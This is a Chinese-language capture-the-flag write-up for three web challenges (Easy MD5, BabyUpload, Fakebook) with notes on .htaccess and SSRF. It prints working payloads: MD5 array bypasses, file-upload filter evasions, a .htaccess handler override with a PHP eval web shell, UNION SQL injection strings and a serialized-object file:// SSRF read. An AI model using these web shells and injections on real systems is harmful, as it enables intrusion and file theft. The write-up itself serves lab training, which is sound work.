[BJDCTF2020]Easy MD51
进入题目页面,题目提示有一个链接,应该是题目源码
进入环境,是一个查询框,无论输入什么都没有回显,查看源码也没什么用
利用bp抓包查看有没有什么有用的东西
发现响应的Hint那里有一个sql语句,密码password进行了MD5加密
接着查看下载的附件(源码),在leveldo4.php文件中提到要password=ffifdyop才会回显下一个页面,那么就输入ffifdyop提交查询
输入 ffifdyop,得到新页面
接着查看源码
源码要求,用a,b进行传参,a<>b,且a和b的md5值要相等,那么就利用数组绕过md5
payload:?a[]=1&b[]=2
得到新页面
这里要求用POST进行传参,参数param1<>param2,但是param1和param2的md5值要相等才会给出flag,接着利用数组绕过,得到flag
payload:param1[]=1¶m2[]=2
[GXYCTF2019]BabyUpload1
文件上传要求上传图片,一样的操作,上传图片抓包改后缀
结果php后缀被过滤了
那就绕过
1、前端绕过,抓包修改后缀名,
2、文件内容绕过,用图片马,抓包修改后缀绕过
3、黑名单绕过,那么我们可以改成phtml抓包绕过
4、.htaccess绕过,只要有这个配置文件,并且内容为“AddType application/x-httpd-php .jpg(就是把所以jpg后缀的文件全都当作php文件来执行)”
5、大小写绕过,抓包后修改后缀为.PHp
6、空格绕过,抓包修改后缀,在后缀后面加上空格
7、点绕过,抓包修改后缀,在后缀后面加上点
8.什么删掉我的空格或者.,那我抓包修改为. .或者 . |
9、文件流绕过,前提条件,必须是window的服务器,抓包修改后缀,并在后缀后面加上::$DATA,
10、双拼绕过,抓包修改后缀,并在把后缀改成phphpp,这样后端去掉php,还剩下个ph和p组合
成为php
要重新上传php图片马,就需要上传.htaccess文件
<FilesMatch "1234.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
//将文件名为1234.jpg格式的文件以Php形式执行
重新上传图片马
既然php无法上传,那就改马
GIF89a?
<script language='php'>@eval($_POST['abc']);</script>
蚁剑连接,查看文件找到flag
htaccess 文件的作用
一、htaccess 文件是Apache服务器中的一个配置文件,用于实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
二、htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。
三、管理员可以通过Apache的AllowOverride指令来设置。
四、.htaccess文件(或者"分布式配置文件")提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。
[网鼎杯 2018]Fakebook1
进入环境,按照要求注册用户并进入页面
发现注入点no
no=1 order by 4 //查看列数,无报错
no=1 order by 5 //报错,有4列
no=-1 union/**/select 1,2,3,4 //过滤了(union select)用/**/代替空格
回显出现反序列化函数unserialize()
爆表名
no=-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆属性列
no=-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
爆字段,发现反序列化代码
no=-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
robots.txt查出源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
根据源码get($url)没有校验blog是否是http协议,可以通过file协议读取系统上的文件
注册时会序列化我们的信息,回显到页面时再反序列化。
修改自己最后blog字段内容,改为file:///var/www/html/flag.php
,并把对应的s改为对应长度29
O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}
data字段在第4位,所以放在第4位。
构造payload
no=-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
看源码,点击blog的链接
得到flag
另一种解法:
由于sql注入没有过滤load_file,直接取得flag
no=-1 union/**/select 1,load_file("/var/www/html/flag.php"),3,4
查看源码,得到flag
知识点
SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF是要目标网站的内部系统。(因为他是从内部系统访问的,所有可以通过它攻击外网无法访问的内部系统,也就是把目标网站当中间人)
SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,文档,等等。
举例 : A网站,是一个所有人都可以访问的外网网站,B网站是一个他们内部的OA网站。
所以,我们普通用户只可以访问a网站,不能访问b网站。但是我们可以同过a网站做中间人,访问b网站,从而达到攻击b网站需求。
一.SSRF伪协议漏洞注入
可能产生SSRF的函数:
1、file_get_contents:
2、sockopen():
3、curl_exec():
4.fopen():
二.SSRF中的伪协议
file协议: 在有回显的情况下,利用 file 协议可以读取任意文件的内容
dict协议:泄露安装软件版本信息,查看端口,操作内网redis服务等
gopher协议:gopher支持发出GET、POST请求。可以先截获get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。可用于反弹shell
http/s协议:探测内网主机存活